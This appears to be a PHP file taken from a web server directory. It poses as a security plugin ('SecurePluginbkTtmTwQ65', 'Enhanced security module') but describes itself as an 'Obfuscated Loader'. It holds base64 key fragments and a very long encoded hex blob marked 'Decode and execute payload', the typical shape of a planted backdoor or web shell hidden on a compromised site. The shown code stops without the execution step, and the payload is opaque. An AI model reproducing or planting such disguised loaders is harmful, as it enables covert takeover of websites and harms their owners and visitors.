/home/dawaihou/bz.dawaihouse.com/ah22.php
<?php
/* Legacy-Compatible Obfuscated Loader - ID:4168340 */
/*
Version: 5.5.24
Description: Enhanced security module
Plugin Name: SecurePluginbkTtmTwQ65
*/
class LoaderPMygZK91575 {
private function kmWiilJF79() {
// Key segment 2
// cmtogSe68
$buf = base64_decode('ZGF0YXJFTUlqYTk1');
return base64_decode('SmtL');
}
private function kmTurJcN86() {
// Key segment 1
// cmtjwsq71
return base64_decode('ZU44Qw==');
}
public static function init933() {
// Decode and execute payload
$hex_data = 'zclbrFgpfodcfd5b77aadad23d0e7fa05c041113bd1c0c4e83937216ee1494a3a2c108f8e9df1a9864e640e65a6b3fbfffcddb76db376b36038c4355ef55bdaa9c83184a7d236b6ed828567d0dabfa810f8c1ce7deabea87bc864b715bb6673dadd3a4f71c7c106f22be68cb431dae7aef22a3ce70505bcb7273e58ba658f9b3959289a92273b22cf00d9f89b7a59d2666763ae3d46ab6e8745933cd93cb2e5e65d93cbb37aed2a4280883f0495933b682b948908d03e9c4c44c2f0c1f30ec665a959e6f757b469d985e7576d8cb54e70d4d75e27594cd57aa959e49cf44fcfa925b072e08596eb7742f173788f4b0f405a39829e1da3e39eb6ebd2f88b92a7c15a7a45a658d2414fed9ca4fb621d48a96735bb12b6fba1d2f147671769553bbf52607a7250691c47869718f7bd6d8f0384c90d069ba90865be502ef763a6c2633c1c8434e76ac4a6eada5e130eb65255e74cf5862e43da96c36db88d6c4097c71333d9d02a651f06df2ba4fdbd0e95247eabd5c483b09b3b5cdbbd5cbee506da3f272710eb307780ed18f71aba4b3ccecc21719b78dd3330f1a6fcaa437026dd215f06e9c8a610d5cb5b1ed93a51595ae6231e3f9b25653b4908538170e4d492c2b51051eafecf4a8b7cc99e4297e7bce56c796490ad4f1a89e686d9dca8295a33c7d8cf806ab796d6fabfab0c9d257c25a9897a54aea2f313cc7d8dcc2b3583639e9d0c273988b739b3f123f247adeeadaa49992d6aa925e1465876b1dc6e8b5dcc212b632549a07c3420ba7af2b3ef04ad5424b25af4522b557bdab9a1d6bdb8293be2281d96f8ed2c1f24fcbc0b3331eb5ac2ca0ab2ca40f5a97e98663d86a969ee19c3d1807cb82e75c6d374a74c7d8a9075bdd8b97eae33976c31afc4cdfcb24309926d6614fb1805cbe1013e424da8635f5689d1481dd9c8ca25eac5d3443b935332792e58aa9a1f1d9cba66f72956f1c549867cb9d2486506255283da99b9f364cf76a313344cf682484b29687c68ae78f1ffb638b85e8845e383dc53b36a9fd6c7e335bfe88e0375209ef6cf3fac622c62a888fa4ab8af816bbb2405e70ced7a4e084f098e49ed8f05a17daee4d2c941ef68a3785c815d1ca6bceaae56dcd02edac43962ba5d187ec49dfdcb8b372b37ab5930ecaed63dd2423375c8d8d6f5a372f62390bdc1b394ac5c48673f0ace546b39ef086c3678251ce908cb9d2ece6a2de31c1b22abb5569e65bb19a4765f38258ce0a73235c0aa45d97f39de8a064d3d6926af3adda1a91d1c7faf2307c4f830f9340ba4d721bcd6c83f75624f71bafb01cfe1626b1d58a86dc328665452a6e6dd16fcf4bb10df6f01b51ec881d7021dc6d46e6c95a75c8521066a7e046ef1c373370b9d2e05c8b5df6b049db57d2c7bcc0562f6b588355996476357909bc46256d73f67174968506d663aee901b15695d568ede2c5c49e241cc452ea253fbc91a5ea729d3cc906fb26cae48f7d4bbd543e98e5aa6b8e4bec39268e5fb0d3ec9583a96fd752e9b75c6364e25494635f479ca04c4489e039da04fe39ec78791dd881c34a07d159682a9eef851bc7fa55944545adeeedd87605eea8f1a5a6da8ca04eacc3d68ddaa09cd1dfe49693d97a3fafb4a2cee86f08b2166b8779e1f3d96388cb86e7c3878d1fe66a3ba36b6dc2ddcee9bab9259cab69522aed24db64e193531815d8df1bc9e68a8a5a914c26d74dd955bbc0dc3b2cff18c8b31dc9c310ec0e077fb637b3f8c1bff1b93bd81da3a2df13665919795d9eb0beeec3baf158d5d543bd36a7f1146565a7dbd141c15ec1f75ca4dacd721b80453ad865c85cce9b6315080e7a95f2c60e6f70b7d749e997970cecf5ab27c40f72675504ce32d89000ce68aa5af3d7fd949783bb1d0d87730ddfe3a7dc4ca3e7baad4bc5a99f751bdea16f546d725f83fd71f11c0612acc14c7a5f831d2b0dcf91d8eeace75e09e76d193a704f25265da5d64c3fc055efd34e7499707ba84d922f4a912f5f75c66361ad0b258f2af0257a18a8923a99156159ebab223e097ddabac1c920456ae8b98194aeaa378cf7e1b32209fc9145883a9c6bf34a7a4f14b0c512b03b5bf6b4ddcb6a1794cdc4e0d18bb8ce9430a0bf090357cca46d9615362bbd24ac1da03cc9dd60c16945c9e87076e0ce4d48179fd66ebc4445f510a17a1d0646a5827d5bd9650ecff1f8de065b758ac02f2d579d71e145b50e33f05907f3e3dd0003d8ab43dce95dfabcc4b524645c86f353b299ceb6bbe9ecf17ddda8df767aeeaa5baa10a58dbe94ca2b81fb63f48c28e484c545c747b269c19d1bf674c566e2f01b264a863508c2b73b371f6c9533ed72e976d2b43c11b6bd51817d07eb221e9d03f860d9d26549c26100bef128dab0c67b990faf264f14d35a9c51c695f23a39fbe5fca8b5e54b9293a370e4376e459fa38233cd8a4d79b9aef25a560a4fe3311fc3fd8936eca91491d5a9ed056ca291cb5389db7473c970637b63dbc586af4e7fce0e17ab8ea1e8d9bc92d1fca276c92b60a486071ba255b395291095f8e5514eeb47f8d6c071a393cdc6c2f7f3e6398035d8f98396863bd3faf0732f71a0066e4f6dc8a525b9b5526f84fd8c9186fd41a2a0610e4565dbadda599edc3edeedcf5d28e785d91af5da95cefea1e94867ec8dc3895727e16dd5cd0533af1dbeb75a27e08c786a26e1a1a3bef1cf9ed2e7f073330cea6059d657bdf58bb80f05c1898f121b87fb63a2c33928853baefaf39b614f55695b71a99a5a9c71e81c94cf7b5138fdf91eea4bc491df6469a55971a96269f7630d7eff8da059c66189f99d0b7e0d3b52a476b5b6ba2d6abfba4c934a1afce9d7df0ce7e025e95bacdcc404b08b6ef49e043e6b2b5916dc95c91c2b66e189ef67f4d36fe0ce39bdf52408b515a116ab37b5445d73d12debbc7612f0251ca3764668e496452aeb69eba91ff6facffec4b32ff76778b7d084f36f2cc1376d53265ff6e203cee70758036a0f569a43721171b7015b7ebaa72b71711dde2d8b5e8c3ca53eeb9b4d342666e6d94e1ecee41eb04b673024670033f0ecaeba0c7efbcfbbd54be3c681df6e3d232de1f02667c1a9a98d5f4587cbcebaa9c31a68653597ca8e6c447b67e61659ddb81759a4d8ae3cae317910b20157010e21e2b2e2cf9bec8f9f83b58ef4fbfe940ed3f006425740e52f4a6f3e8628d44ce76424aeafdef787b11cb6faf21b4f049f957b47a76b1b94c7fd5622800f0c55a9ca2929d517ed96051ad8eb25c5f181ba5abaa4928b2635d3c9510c4e67f1cb9ea660dfe60faa7302bc631cc1670db82a964ecbc1ff64d9db5a37e07fc8cee83b4903fbb6b466b0a79c0efe74b5ed335377ca3dd8f9b39fa5a98eda27cf2dafba439e899b6a3a4ecc4d35f89fcff734d69d46d68fc9cc4fcb14f0681a004e057b30a3be71a3541fb66ae9785be1203ddaee4c53738681ef61c0b6e470464f52977af8105e78bfe9e260118772f22a31f680954d397ab5835340f278f9e76e7bc7f5c1cc853c3c1a682144cee0eb617fe269c2a210e7edd15e1bd2fe7032a2355fe22cc9c0a65f7d273afbc7e81c4992b4657d635b9a4b4b7cbb0b7076607f0cb348a5cd4dace42c2d77c19b8dbf456fb697ac35a66597c87f89fb7acde7369c519bfa60ea5d3b19a5778e81bd4a7642d61010d69d9855197208cbf9492f902bcb5f306cee976645f8f669edf2677f1d4d132f8ae3a36fef5bbedbc339d0bf9eeb087c3070193fd3795404c0cd4ccc7066d6686670e275519cea5df6b2936d2598469d77acd5dd34dbc35f05db7bb986a5faba6fa5cb873d70179236b15abd259784ed1ceca62cf09270bf069b78485ab79ab189f809fb4b5fd760e98a5bec58ed32cfd686136babe92295783251bb087088f91c4c17d7d89312c048eba8cb2e80c55ee434b2bd77dc7b4b74bd68a6624b8e6139390745fd2014d974575ef45851d7bb4c2a8c20e2dff707f08ea616940757a5cc730d41681ef56f6b2dcd56e4d6d81a732922eff2144d230cd8a27565ca9d273ae2fdc27db7f1c2ec2ce471496cea17feacdb26b015ebbbddc9cad2ccd0dc3f98afd82505b17c7dcbaa1878e3d32ae5b858f983c5c27eae80edbd88e2e514a5f1d4c5e1cc99c27913131cba1f7761386fc0a95951e8e8bb6d36376f81d2d9e1d3799b12bb0e55997cd8aa610de06e8bee05f0fdc9d84de383d0cd4bc3fb133f58ae0197801db56ea45ab55e3dc40f02b142c2e90138db52c8e7add87a3d3da380e307bba365b1acca17c97cb7552c72c59b9f0356d6cd5bba5705e04216d8ebccbbbab8297887e1c05699d46f1389e2c7e4856fbd9cb4a9415ae9c867e451c8caf5aab756c01b3fdecdcc8cbd29207d9bb507235bbc6c644b028c02b8ea420cc02ee1d4c8846c5187d5e25561ed2e2ac533e0d183c3aa3c9162b0c94c0e5c06a39c6be06e87913c19b09897723703d5f3c4451758eb693870daacb6258e5551fab8ca9b10d66d8adbc95acf634d75cdc64bd3462d3f9deb3b3e408449a706633caa0eb3b5582fc3b8b637c07f8c773b3af83983138a796e66991eb6adb6ad9a466dc3f3d2e103f9665cc43e89d57ca6feb4bd9777fcc6138f992e33ee319956812b471fe76d7bab33941aaf6a16512c6647a5f4c9d7cfdbade7372bd60c5d6c57e04fbc48b60d75ca9f3dd73e6c45f2a2b0938bc876b3b0338d2debc980f9bed8372b6ff6db8071b74a55884c778dace824895f30055ed98bcbd6569b5d6048aebca8c4a00c22bc003b8a4e9e977cc12e611bd1e7881b78d3a5d755b190d8369c68eb80f61a3b91b6d82f02b16522affae2eba342c5213f6fe8f7a87fbe27807b920d77ae88284e7cf7599dd65a4b8245739bf147b5e51e577de3c8b2584807c0b0ee5cd294eff8ad79205524a8b758d7bd96c60f3ca368f7b2e075c065065f1f1ec7319fe9a2f8bb5ff88447531e71bdd9964fb2323bc3f978d670b933f2782dfaf4bc65802d89c03b2af559c0f36643dcc5afaac748b24f7ff8cf772c66ed8540022ed3258630575680f69c4994a9c8ca9d3e3abbc1641ad9866cb8614cb13269a322be85ae2c58af6200d8fe507ff092510c5bd68755c6cd9681ed80dde944ac1abbf7b5fefe1b74a177ee2b4ebc75399f2f0c025c38ecc85cb2b8ce4cdb8cda44e1a04e5753f81bdfb1255d3707ee9ccb61d521993bb2d61f98efbe06fa3bafa7b18de1dd0eeff65abc2a34a65a452aca194226e020cae655ef451ff8cf0bce51a83bde7e730b7b097c1969e37c1d489f6cc844db1e51aea2f9d138589e923327db3925c099f6805d4e7e1e7aa22bbdeed2e8ac599c8d7beb35b4da52564411dfe65846a7e7d0494b3b805d10ca25f5739adb2c45179edf8b8f7c8f08e10d4515c2211eb2292717c07c920c3c18cedb116c2ea7b45dc15bdc056cc5d3da897d54cc7bcdf20d056cef869f150430905984222eb2b3654bb5c0978fa282c037523f25beacf9b6507aeec99c88ece6abbd76849c398ace250ea7e0b7d90ffe735ee784c6296e9108fe74fde17fde30ac5802a74d485e0a9bcfdf734357f80d6300565672f0a713afddbad18b5924c0e7001f60e3476c4311e217d9697b030fb8578a3b8a83e21cb80816b2213668011ae184d41afc82ec918beb8a9c907b85dc116cb01eb7cda202787624a671aef2c676994d1662dbcc706ae8aa48b18b78047f7ab4fef0e02ff183fb794b7621abae56b790152d6e22a6d693279b53c07c5392c58a9127c6f8dde64cade06ab15d9c37fe575e72e78060e3f9790e78c7fdc02e63fc87f982c9cfba78292438076fb1342bba71dad24519fac0f146f7d5c6d3fd697223b077dacd6ab093049afcfd7b4e8573fbba069feedc0139170f30d2529f76d7d13b271344cae6f089cb7ce3db970aecced1c7e1ab25f3cd7b4c68ec9e0ebfe94f259cd15e6d877c89868a14eec23cda04a1ad337509bce467ecf693dd7105f1f6b7ef118413389d66af629ff2acabdaa9af9b3c3c294559ea165a62b8732ba99caa7689490ff7b5f02e121b4e9ce0eb733eaf81dec7cef6501f349b9ba9984142eabd00f6df9abd171919d78a5d09fb53cf01233de0a26c81333d132134c32cb5f5367d50dd78af38962c08707f044e5c3a9c890087904ecc9c63d52e11da49b8bc0a59c8469dfd9b2f19de4d4488de85192a985eb0c8d2e80d9b78c011536e06eb16c9eb0ba7a65127b41c23d85ca0ba8b5fe207d939fe82953f3de7f06b6ca35922ee6ce22e00bcf302364403de282ed771c57bf41cb46047bf73cd6f363e98d96a7012b637f122a7b3668fdac51ed79cc5aa0f119afcf425dfdf2d6f6e7a4be362975781724dffe2ab796c2b1293ab4573267d47cfce574cfed367e92ae602ad4bb92ff6e0db5abfe1374dc9bd67dd4ec15687432c3a9a788d51a052c8d1abe92c0c0df0fd681ce9d31a98ec2f6b9d45bfedcf2fe7201ef802cae2623dacdbbc502dcb005f32d199f62564be73c01f6bf02af4dc339cd1a51a54cb8f98c3f7e7bcdfd3efb1db1f7bea953c4e3cc0b028947f5b03127ee125ec3bff29b515d82dbf34c4651abe38425cf0d89f86bcf983ff7c7ab795ee867076b86ae3cd46de2d7df8b2a7aef176b7ffd8de8ffc29cd3305210f9cf600f7e79a4c4f41c0feb03b958eea27cff10ac06f856e9752b85e485ba53da829f768e43cf839ef889d8b016ba093dcc864c6e8374cf2f5dd9c46a07814fe168d7139ce7491fb411c2e477015fc3dce008ea161515c566203feacda1c6ccf614bf16dadedcdd4c82976518143c9c7af38d1b8bdede9ad0ac0d77708dffddcfbba85d5e515cb3feee951efcad952089f651c019fe336bcd360f546523f9bbf86a9f80236fe41385c6ee01b699c82df56c083015baaf2c4fbc4d10f967352f772a46fbdd36b8c4929f4711ff1d64e772a49ab6246457169c2bad9077165f093266cd3d74de7f106b65c9ef1d0cef60458274170cbea3ddf087887330a7ee7769ca3659346961975553457cd9abf9a5693fb3d7975f9e821927813d63a58f9cc342ce71edf36d5aa3b55520e7e2e2ff77a616c15e0c17a179d22b055142beb96c71001ad75467ad916d656e6018bc821ac9b4aedf5126cf805ec756378c4fd124b1bf614a56a5a732adfbce74bac884778d985ac6419b589f8d3cff85b7634107996df635c41a5abc0b7356c00fab18618bed3751787f5a7700e806f9f0c8a77b69ed7ad0adbfe8a29925440e049deb08b734b5fcdbea4f6e0695931afcbc2baae8a086ca2d4d8d6a913ad79ad7469a0df68bed15b6d52b253f96abaa9a2d5b26f7c4439fae4abaf7f8fe1dfcfa8c878ae4963eb336249ba0cbf11983a25295918876eff0defdc631bd9fce8c833e63d57409f738f5b262f82c3c85a015cde4996ea91b731f278f33617c3ac7a0df3fa69c8eff0f34455b23d0aa89ea28d940cdde07b1e03c508a52e7d107ee1666acfacb5499992f252c45d7300261dac0e5fd6ba36535438acb576faba8c24824d2726d15ffc8297cd53d8bb17971f62b7d39d1f2604738606dfa3dfeefe07cea84df8c90b4ebd0a30f91175e54d6d9ba7a88f0b3968b548ca74de6aa678daac79b774301fdf962db254fe3485b322c1dd1ecedbf798f727dbfb0b166b6a55f40f3ff075eb3f6c52e6bcbcc5ae7510339cf38696c37dfcdd67fd627b6bacaf93c64c49af580660be28776f73d6ccc4a569df63de21d38cc4fd3fdbb7b845c5e56997c52beab7088dfb67f3b3ea18aed2bde902fa545b0ae42cb561b929c5a7c0152f423157548b08c065763f7dc9fd39e631ce681c566bcd57111985cc5b37ddb285c80dc595343faceef860ff2366f703f3dde3552b9be6d1bd57225be0ebc954ba4d6cd399e7ab1b61a56efe6a601a8715e11c58d556f985d37e5a0319716c58c42f43be1e938cb8c065fa585e567167f4e4d128c23570b6cff9d3414fb12dbd78eda047d94d1f8cccb86a0242bad7364b9efcc1b0530b8b48cce536454b77ee6c98eab7b3f3e7dd6c8a47e7d152e07ab1a771d8f8eae29623c035cd2c065bc9ef13b991f99cf1448b2997bcbfdab2dcafeb36e884fe82dffe1a73f88a2d4b016caf21d7da52495211819f63bec795c79f13f534374586750babecf59e7b9fc179a36714d66d62b954ebb167ffe8027e3f07d10af647055c755e21ee234fcbf70bb02196a6166af3cd1e3cd0bb1d1d2698daeba5cd9d540189efdf23f6cd9e4c2f256fcf6f7a8ad2ef7c21eab27a539dbee5a6c6dfed27cf1ac789513adcd3a3ef90120d3ceb62fc255ef5fd39b75536df02d611b5aa95d5ae7984f7decbc1909bf200fbe3957b5febbfd8aacf582c54ef7a8ac79f79c0f1df58ae6d1b6ce2838fa0eb0ce760725ee7f5e12dd706b827041b6fe52bea7f320beecf5deff2973dfd8a9146d7a0997fc93bff038e37abcff1de5ff7c7119db477147eabf71eacc1e232c6b7df750e7fde4d3c23bc88d52213b6bcf522f3805d78a9d80af5937094a6aa156e879c1a43e3967ea9833f75e531fee31dd60e79158aea31bc79a27e0b1111bb5721259cda3712bac7c570086774750b8f4a1ad2e74ce4bb7665c8cfed657e38d7db4cccd576c867e50ecbedc3608263e9e71a7cd22722d5f2002bd7d84e9923ee2b439bf2fa5649ce7ecad470a6163477085ce6a25be1db5d90467c701de945f8660f26670bf0c1b2074c2e2dac9175c322e63df073289c1a0f4ad7d880920ea33155e0e2ab823747e314e3fce73b56de2377ae10254e65bbbdea697d5dcb468373b8d7b66a8796a82d27d6117c494958cb971d0bfc5c132e1d63bbb9f3e03fb91cf6abdec5649a57eab79ddbe98bedfd91c7b8fdc4d78283a89620de057547f258e2517ad23ae345c64ca5b0707f061c6f28e083cb8f58c0ad5b6d6fc099bc24238554aec1d71b167aa23aae656b81b399187a6fb8ea04fc603ae8abf69fdeed23f6c4a7ed9cc6bcddce5270ef3dca074fd719eeac5bf5a371305e3e70626f989be95c044cba53e1379f6c22f839def889c54e4711cd3999e7f4a5c01f888de64e1e964a37f87a4391d5705b72b99a922bd86b77d9235608c2d8ec9b4817486ba4e4879620725a0d785645da370d6d3060f2b956a41427bef0bc9a118bb9fab97515d8a6346c8fa882186822735533b5f9b0d7946bbac9874653b445f80dc5628be9a03193ffe8ec0c378cf883f884306f9b79126d7a0498cfcce81a80af7fe085f235e23d9ae3b7d5497c01fc96eb4c351f744f4ea21b78be8773bd353031f95be82bfd704f8961850ae006fe23aecca2936ea54bc0a3458407dfb87dd76d2880535dcc5566564651069c96e2c482dbca6d33d53b4e31bbee280037126cf8bb8c9a2ddfcf684fba48a21a40ab4147c612bdf6b2ca53d714de74282cc302eea5badb5743242e9c8329f0052c09758950f844f5bd9263a1fdc1fae683b317bf8c9a2de3ad123e0c9db60ca4dcb4433b4cf975a821afd9c99975d0d2454eac051b76f52b6f2369991315f5975729981da352fa121b8c3cfb45067b2b007717024e85bb00f82664069d37602927afe18e70cf114f96609745c2a717ad0dcfc98d59f34e948b4e12935cd25745ddc9ec177b7dd70df28caf33e25585bf37e4e73a4ed491ba1079c9d05dae166f16f3a629b998df62d1807b293f3bc9989b4afd24a1f1f87b5c8cdb19a935f571fb22747c6bf0cd56c907cd42297de36603de71c35ab3df71485be23cec690cffae8b1e341834cfb4e77b2b919c050fdfa9e96d57c8a86e540638ed3a3bdbb23dc5592c1399882bdf82b363d44b5c631e579ced4ca2f8606d499f5cbefaedf904ecfa5219f4bd8095b3f23d174a75eb2f80c14bdeea0ac9a6b60aa5f06eafa80020e19f00233133315bc073fc17b1654a3d2581967599026746eec20038e052946683eef693edd5423b5d69add7acb00758cce46c3b8bc01eadc0ce5ffc14d6c0b2e6b2801ef9bceccd2a1c70fc17bed0d3bc4c18515eb9cae35ab6ea4a6d457bc01407f366f0866cd84c403ca6d3ac59fef38cbec5bcbb78eedf4445c61d70c0c8105da4ad7ca6dda4edd9c0dec60be0f66373037e1bce4e5988567d22ede5d5c5f52bf0af29d85e45c391beb1be6231599e25faad5c6efa316e5689a1c589449ad7c0715e226516682ef8926046f52eda9b2fc9421e382d26a5135c1e096f10bd00cc57b50715b5e76560b948202cd81d5d3bd40eac43e1a77503ef3682df926693936a75b0d6428f5e791c869a3097346156a216fc623b7bf59d10b02df7acdad64e9309af312dd8e4344f6ef4373cdc9f85458a93aee5a89247e2ca91831091c45215ac57fd865cde1d74de3abd0b60435ef9b43b6c4bffe460e6e2cac934a4d948d657e1ee1c01c79f07cdb6e05da5a0f442965154812fb451cd5cb8d627e111f012cded628ae32da7a3fa7843b5d24cc828ae0a8f7ecfcc0c5c834d8c1da540b0d6ddcb362d5f970e63f3367754dc53a2bb83d67dbabe454f233891d72a26556de22dffc4770c358fb7121cee406c0aadbdcc3d405ad6ad64b58c883acf2826acdbd2336f54e76d0752e5b065b80d4eaba51b9e45b0b38a85585719cb07cfaf461e4762c6f5bc70b2ee36c4ab788b1bfca92c4fce6e3fefd5ae74de6cc8586c6305b60af8764cedce3d8ef4f56e5fe03960e301f3751ccb0bdd5e2d3806ecce49a46b2d7fc62ef7770beda4e0d3ba023fb546acc4aed959ad162926d8aafc943cc31a0c6747c9e307731222f08dbccad47076e6a5ea4c7eea3ad341f373f55ce42b42f960f0c0cb1caa31abf3a5c5795477fb5bcee8cd56f5666a89463b0f34caebcb76ab3ab4f645cd51bed8933cb23754134c39685acfbdc07840f99c853323ab786e904aac09d3e480af43e7e64d31f8e06d3019c9a337e768241660cbb35c731654fdad9169d2b962e3e9889c02e772bee7318635d0f589976fcaf201fcc29a0fcc9ce658f47eae9262518a697d32dbf279048f3691d7c880af6d41b01a1efb911ed432ad7dd16cae1bf0280e5f4d3cd4cbe8ba132bea842ff496c955ccb87c201e788c42b39f47ea8d6ba46e9101266f3c7837177b835e4c0ffc9f3121e7e2c1fe0e3121b9b5a6eaad7e76f0bcc2f9bc27b81c6c6f94b553bd0d9fb110474a61644826e0b3b8a526a40bcdfe5b5ef3fe9cdf383ad5adab7d3d231da36981ea267caa921681df16b7728f1a1beeb6e1106d2970755036bdda72e0eb4929c84dabdae95e7b5feb14bd2683360ffe274cbc3f36b12c0d145f3d4c6eb8fc2d9f35bbd89644e05cc37366259c9d2b6048c0d78073ee754658ef7d49f5cb2b9c9d23292c416161ad85ce0e6ff5522dc2334a6b66dcf6fec9ed025f803d35930dcbadf4c27a116e5647b98c4473390e016e5633f7fa1fe9fc973cedd8ba39b06e986a3d929e31e01ee4a84f3c95eafd8bb292cba6bafb2c72947bf2ac77b1147e60657456f1249005eb24e517fd6b8cf89bed7544934c62b8bf1f3664b05583de3f30dbdf35cef7b58efb3a52c06f0b781299bd21aaeb64e697ad003e1800177f06fc56e97c1c6a7806fc4764c1cf3566de05420ff8345f04611f2f57b7341599a653db06eedcbc40b0069b4a1ae18df7755b1d607f7a2bf3b3bfbfdb4ebe04c4494fbc4c75aa434ca8045f7f206d95cb58bcd2981dd8774d67c94a9b909c78cd95de530c6b2d380b6216953ee044a661f4cebbfae55f635c87b79abb03709fd2612e07318b33a70f674edfb2a48b95d025a25655c52aad0bb3b003b91fce4e44721b704853c9a8bb46fedf63359fb504fa0df6de266f7ee1f4eb3da5bae8efe76dc5782fbe80ae7fc9d7d39abb5ecb45c02ef50b42dcceecbc219723e473f2c699b00e5c533dfc923f2de725f882cc49b999205fce91243e832f08a8ae13b8269c83cc703aef05390b37ec396d790b5b9fc636da365d6392235ccf22de5a1a7d29aeecb4055bf5ba74d15a76f8c63a7a3f7501c26c3cd7f6f13d9cbf3d243ace5a6375ab32d497dbcdc1205a56e248bac8db416ff9a6273f582e0feb6bbb5f9f43f366bb9c5c500eef8642e02586aec13f68adff6214a1c80b668e9d85ad3b96a3d19ac8769e6a9ef7b076c583726880071b2ac1a72ff6faa346a09d474b376579ef320f8b917370007f00e758ec9adbd236121df11dc0965cb4d5d299f859e40cf1c4339f73cfc4b6b0e65ca425930efc07e3722d76dc3d760bbc553ff2f588deff41b4b8b3306d63e156461891d9d26a812f24397f3805c93a29ee713eaf583bf32b76c8a3ee8707c4d74f58115760fb4225e36eae3cf9198b2ed02e41adae779623e5160002632a1f45cc97177613d8b05ee92b926716c9efeb267625f3ee8381834d5440ec0477382c7ec606a5ac3ef27c8834877345a14649d7eed4ac214898cfc2f5620b785452adf86a14512063eb0af89ac6f0b54d6f5cc06f9fc3d43a07817d18d1efecf8369d69a99710be3b2ba83cf396b1256e49a49c7fe5d780dfd0dbdd76e68888cc9574d98be1301be1209ee07b62f05768ab5c7ef2056c3c0b1653e2432ccb42e989599bebe9dcd691c4024ef4375364cb08f07acb5cfd83f18a72a3d75282b5dcd0b7557cd5816318f95c52c0864879bcff62e38bec5b5c2c442bb16e9638e40c19969a0d55244c809b35825654942f1c54cb3a04cea475d88ee61b85c88d7d52c5b99e7333c062a2cc9f0ecb34eb8476ce01f6cf95362e151b3d0c3c986d3565222e8d1bf02c7ebe93980bb3916d1bf064c76335d2fa46fab3d6e2d1ebc3079c1bb9ee4b78577ed48ac86bb7fa5d9b7713af70f633e2ffd0cc615c1854173dd449d0ba29846ab88fe2d5c5e10617f3c7ad4418318d59652d1abcc037a6406b7dad46b425d89fcc908ec9d9079b2662646e511b1a99252207b07d6b74283815c0d7af98b7664bde8bac027849ee25fa11459f7ce37b2d1cf01fd504fc9a2f51fb4aba21e69d078a21857dab519ff5a36e4a22f77553bc56f72e6cc21afd5d03d884ea5b8e1ff028d179e3ea033f756e436cddf8b46ef71a9b7c58b77bcddde0b3cc0a30f57c0d6bfd1687fda1db18e255d6ccd41d786fb7fb912fd9fae1980f3ee05e32b4bcc59a10827db3ae432ea71d7239d377eda4962db86f5a8fbfe51756aa80d6c4ab974bab7bd91cc01ef4d62bec6942d78d144d26565226a668ee3bf54cc684d3aa70a5e2d6a0b5e5aa5dbddfb917ccce4c032f8caf316f63fa7eb7df3573a49dbcec5b6b2ff3dc4110da7fd6f3956d678ce74f53aa593090f5e4dfa48fdcbb4873874cdd02967b5568ad888368dd6147713cdce1175e347fab1dbbe85df7c23b540f6b748290257c6f44802d5bd92e39dc892f80951f78a17a0c11d18cde43cb439aaf52f39874a18b05ab95f264a9a61c5ebae48852ebb6ecffe442f765cbe1b49988ebd6508a2cdf31bfe4b3bee442e77b9a2ba3b950d4cd5f55c7c3e0e7b8753b69711a5e25f8185548fd11be6d8c69987ee2515aab58f6aaed09b48643a57c1bd58f4b210a3070c07b4df1028fc75d060dd3a043b9d7a8495bdf493b72af95ffcb6fee361e67e561e0a76f79c0edd1a2b9dd406cebcb5db77129beeb543fe5311eef3c6bf1adaee0673de0aaf58e80af93fff5392339a3db08d7fc993b7c8be1f328acb42ef9ae3f30feaaa748bd57336d6bcf417076e89da37d30bc8cc602341a0b702714c70ff754657fe1db600f8c3cf964afbf3fc7b8c7a271ba58b334b6d1bac4ae97a693d0bab6339ce3eb36b026bc00cf0966812ecc7438d727d9664aea4b1caa1f8573bdf2c7f8c2b775cba20c78df53d05fce16704eb533b6a6d36884cf8efa2fdabc9fb91cb2048e6e6b5d5a692d391a39f80036a2b9b6583d243ecd632c5bae372cebb40e2edfea35ffe8dfa48378c4ee24f9a1bfc6f71e1dd8f20caa65dbacdfb46c0720ac3960245ce3f0adee5046d6244c8dcc75985757793f3b54cf47e873e4b5436b15cb17a9982426abae2414ebaa3bdf44569dafdf62d1617f5186de26c7d8520abe593a226fe27981f1d02fe0f3fd39038f79949db497f8780ffc74349733c48891652e1d0f9e133e3b05f86d773ee888691e23e45305ddcaa5c4a3d9d07725bdd4284bcf54f7e4d31d2aea5dd2a19d21b79cc61306f035d1baf92efc135b7fc39677bd8b97a5af66175fd6f69be6c7bb04a16389d4c6ffd4bb704b78af171e87bdeaf93759b64221f758cd3675b5370c5231c7586cc225e0038ced9cfa39f03fe2aa2853cf7ff7f5c6d4e9b967b333f565f9b9e6c176e02e742270339a7b7fefb7417d23d582f24efd44fcd9cac8196b2535877b2d368d278ab2ce770bc473a56c715bd5e16c748b571487508d999ac521f8391a1bfcac7f6b90501deff59a5f70c8cffc764aeb015b76e853c24bc9b237c2556f375e0a3ecb168f3ef812da3fe4bea7bfe90ffed5baedcd22b485c287755bf8eaa106bce36512e0c53045ace7a20759eebe6ad0bf6117c3994bb46fc4ba9cf7ba8de6417fc76f1b8a0f9c38a0fd6ae02ce44b5c1f70e19d5df95f6b3429ae2a81b7d2731d1ac29c680299f216c3e8a5fa152bbfd751fee2ebdffaef084e6f83afbfb412c047da6b625b713969e357633a0b96bdd5624cf380341e12a762ebd56a2bbd527c8072b09f768dd56088711db6fed798d047bd0cd51ebff536a1f91f74e7db48abc42969bd26b9197ba52f2fc077420258513f48c09db92bb1ea33ed711395e25037a5d15c28d37d3e3b83ff51044e940402d865715098ea55e1db8dcaa7b417c8101b14fda14e02f8366f9b87ece5130f86ef99d766416b082f14efdcbfc7316c8d1d7008d5f3557a46062e23cb0c59c1598135982816d5865b6b7aae2937e39108f8bade486ebae45bafd432cf34d9a13f122377e99a14fc61d0addbed03cf5b3dd8903dd8903f98e21dbbbcd58ae8857179c36fc0cd66704f195643de3274b9689b9502adcbb9e3c4ea80f0c936ef76f4f22f30f94de853b8e159446b2f757652bef1e0d4bfd17a742bd732f5174c1e4608ee9c84110b383125a87c11e5f82af4a4f8edce59ce45331c2f02be530c7d571c74f6dc3f75ef3b961454ebfea659e0c126b33cee3cf5f0c707ff16dfa13957f1ad0fc65b4dd75275cc125964a2a5f5b32b1b352ed23e2e551dee9c4cfcf6aca2eecb19d572b8c35dfcc601bd67976f4f3cf60a62a7433f076dd29edff47c1b87e61b2de945ea3e72aeb96e354fe09b1eee9ae024d8cb44d0873bf79b0f1ec521f73500df411cd17195af1a0ccc34a59e852fb2309a977955dd3092adb643074e0a59e655bf71707f9894ea7bd74a75d630ec29afea7acfd8db72de11c0bdc90d454e7fefa5f3b5e6ee0f16fb53b7abd2b8ff5b4f0b3be7f3c8d7f1ec60b9b44edca80d3b7c71e5cbabc937a1d49336caef7158c9228f465ec19d9be49f6ac7a8e6e7552d6a2e70e68fc2a1d5b6fee293ff993fde6dafe7bce799566e58d3d89399a25de0c6b9c5ce89743338316dce4836cba15ec61143a51bf80ff8fa93b4e90c53c51c96f